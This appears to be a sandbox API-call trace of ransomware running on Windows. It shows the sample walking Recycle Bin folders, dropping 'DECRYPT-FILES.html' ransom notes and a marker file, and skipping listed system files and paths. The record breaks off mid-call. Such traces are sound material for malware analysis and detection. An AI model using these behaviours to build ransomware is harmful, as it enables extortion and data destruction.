CreateFileW (lpFileName="C:\\$Recycle.Bin\\\\eogwkz.dat" (normalized: "c:\\$recycle.bin\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x518 [0108.800] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0108.800] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0108.800] wsprintfW (in: param_1=0x38bf270, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\\\DECRYPT-FILES.html") returned 35 [0108.800] CreateFileW (lpFileName="C:\\$Recycle.Bin\\\\DECRYPT-FILES.html" (normalized: "c:\\$recycle.bin\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0109.059] WriteFile (in: hFile=0x528, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38bf26c, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38bf26c*=0x1997, lpOverlapped=0x0) returned 1 [0109.060] CloseHandle (hObject=0x528) returned 1 [0109.060] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0109.060] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0109.060] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4740b3ae, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bbb70 [0109.060] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0109.060] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4740b3ae, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.061] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0109.061] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0109.061] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x471a8d57, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x471a8d57, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4740b3ae, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x31, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0109.061] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0109.061] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x471a8d57, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x471a8d57, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x471a8d57, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0109.061] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0109.061] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0109.061] lstrlenW (lpString="eogwkz.dat") returned 10 [0109.061] lstrcpyW (in: lpString1=0x38bf260, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0109.061] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="eogwkz.dat" | out: lpString1="C:\\$Recycle.Bin\\eogwkz.dat") returned="C:\\$Recycle.Bin\\eogwkz.dat" [0109.061] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0109.062] CreateFileW (lpFileName="C:\\$Recycle.Bin\\eogwkz.dat" (normalized: "c:\\$recycle.bin\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.062] CloseHandle (hObject=0x0) returned 0 [0109.062] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.062] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0109.062] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1 [0109.062] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1 [0109.062] lstrcatW (in: lpString1="S-1-5-18", lpString2="\\" | out: lpString1="S-1-5-18\\") returned="S-1-5-18\\" [0109.062] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-18\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\") returned="C:\\$Recycle.Bin\\S-1-5-18\\" [0109.063] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch=":\\Windows") returned 0x0 [0109.064] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch="\\Program Files") returned 0x0 [0109.064] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch="\\Games\\") returned 0x0 [0109.064] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch="\\Tor Browser\\") returned 0x0 [0109.064] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch="\\ProgramData\\") returned 0x0 [0109.064] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0109.064] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0109.064] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0109.064] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-18\\", lpSrch="\\All Users") returned 0x0 [0109.064] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0109.064] lstrlenW (lpString="eogwkz.dat") returned 10 [0109.064] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\\\eogwkz.dat") returned 36 [0109.064] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\\\eogwkz.dat" (normalized: "c:\\$recycle.bin\\s-1-5-18\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x534 [0109.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0109.079] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0109.079] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\\\DECRYPT-FILES.html") returned 44 [0109.079] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\\\DECRYPT-FILES.html" (normalized: "c:\\$recycle.bin\\s-1-5-18\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0109.079] WriteFile (in: hFile=0x46c, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0109.080] CloseHandle (hObject=0x46c) returned 1 [0109.081] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0109.081] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*" [0109.081] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x474577a5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6bbc70 [0109.081] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0109.081] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x474577a5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0109.081] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0109.081] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0109.081] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474577a5, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x474577a5, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x474577a5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0109.081] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0109.081] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0109.081] lstrcmpiW (lpString1="desktop.ini", lpString2="DECRYPT-FILES.html") returned 1 [0109.081] lstrcmpiW (lpString1="desktop.ini", lpString2="autorun.inf") returned 1 [0109.081] lstrcmpiW (lpString1="desktop.ini", lpString2="boot.ini") returned 1 [0109.081] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0109.082] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474577a5, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x474577a5, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x474577a5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0109.082] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0109.082] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0109.082] lstrlenW (lpString="eogwkz.dat") returned 10 [0109.082] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$Recycle.Bin\\S-1-5-18\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\") returned="C:\\$Recycle.Bin\\S-1-5-18\\" [0109.082] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="eogwkz.dat" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\eogwkz.dat") returned="C:\\$Recycle.Bin\\S-1-5-18\\eogwkz.dat" [0109.082] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0109.083] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\eogwkz.dat" (normalized: "c:\\$recycle.bin\\s-1-5-18\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.083] CloseHandle (hObject=0x0) returned 0 [0109.083] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.083] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474577a5, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x474577a5, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x474577a5, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 0 [0109.084] FindClose (in: hFindFile=0x6bbc70 | out: hFindFile=0x6bbc70) returned 1 [0109.084] CloseHandle (hObject=0x534) returned 1 [0109.084] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0109.084] lstrcmpW (lpString1="S-1-5-21-1051304884-625712362-2192934891-1000", lpString2=".") returned 1 [0109.084] lstrcmpW (lpString1="S-1-5-21-1051304884-625712362-2192934891-1000", lpString2="..") returned 1 [0109.084] lstrcatW (in: lpString1="S-1-5-21-1051304884-625712362-2192934891-1000", lpString2="\\" | out: lpString1="S-1-5-21-1051304884-625712362-2192934891-1000\\") returned="S-1-5-21-1051304884-625712362-2192934891-1000\\" [0109.084] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\" [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch=":\\Windows") returned 0x0 [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch="\\Program Files") returned 0x0 [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch="\\Games\\") returned 0x0 [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch="\\Tor Browser\\") returned 0x0 [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch="\\ProgramData\\") returned 0x0 [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0109.084] StrStrW (lpFirst="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpSrch="\\All Users") returned 0x0 [0109.084] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\") returned 62 [0109.084] lstrlenW (lpString="eogwkz.dat") returned 10 [0109.084] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\\\eogwkz.dat") returned 73 [0109.085] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\\\eogwkz.dat" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x2dc [0109.319] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\") returned 62 [0109.319] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0109.319] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\\\DECRYPT-FILES.html") returned 81 [0109.320] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\\\DECRYPT-FILES.html" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0109.320] WriteFile (in: hFile=0x534, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0109.321] CloseHandle (hObject=0x534) returned 1 [0109.322] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\") returned 62 [0109.322] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*" [0109.322] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x47693b94, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6bbc70 [0109.322] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0109.322] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x47693b94, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0109.322] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0109.322] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0109.322] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47693b94, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x47693b94, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x47693b94, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0109.322] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0109.322] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0109.322] lstrcmpiW (lpString1="desktop.ini", lpString2="DECRYPT-FILES.html") returned 1 [0109.322] lstrcmpiW (lpString1="desktop.ini", lpString2="autorun.inf") returned 1 [0109.322] lstrcmpiW (lpString1="desktop.ini", lpString2="boot.ini") returned 1 [0109.322] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0109.322] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47693b94, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x47693b94, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x47693b94, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0109.322] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0109.322] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0109.323] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0109.323] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0109.323] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0109.323] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0109.323] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0109.323] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0109.323] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0109.323] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0109.323] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\") returned 62 [0109.323] lstrlenW (lpString="eogwkz.dat") returned 10 [0109.323] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\" [0109.323] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\", lpString2="eogwkz.dat" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\eogwkz.dat") returned="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\eogwkz.dat" [0109.323] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0109.323] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\eogwkz.dat" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.324] CloseHandle (hObject=0x0) returned 0 [0109.324] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.324] FindNextFileW (in: hFindFile=0x6bbc70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, 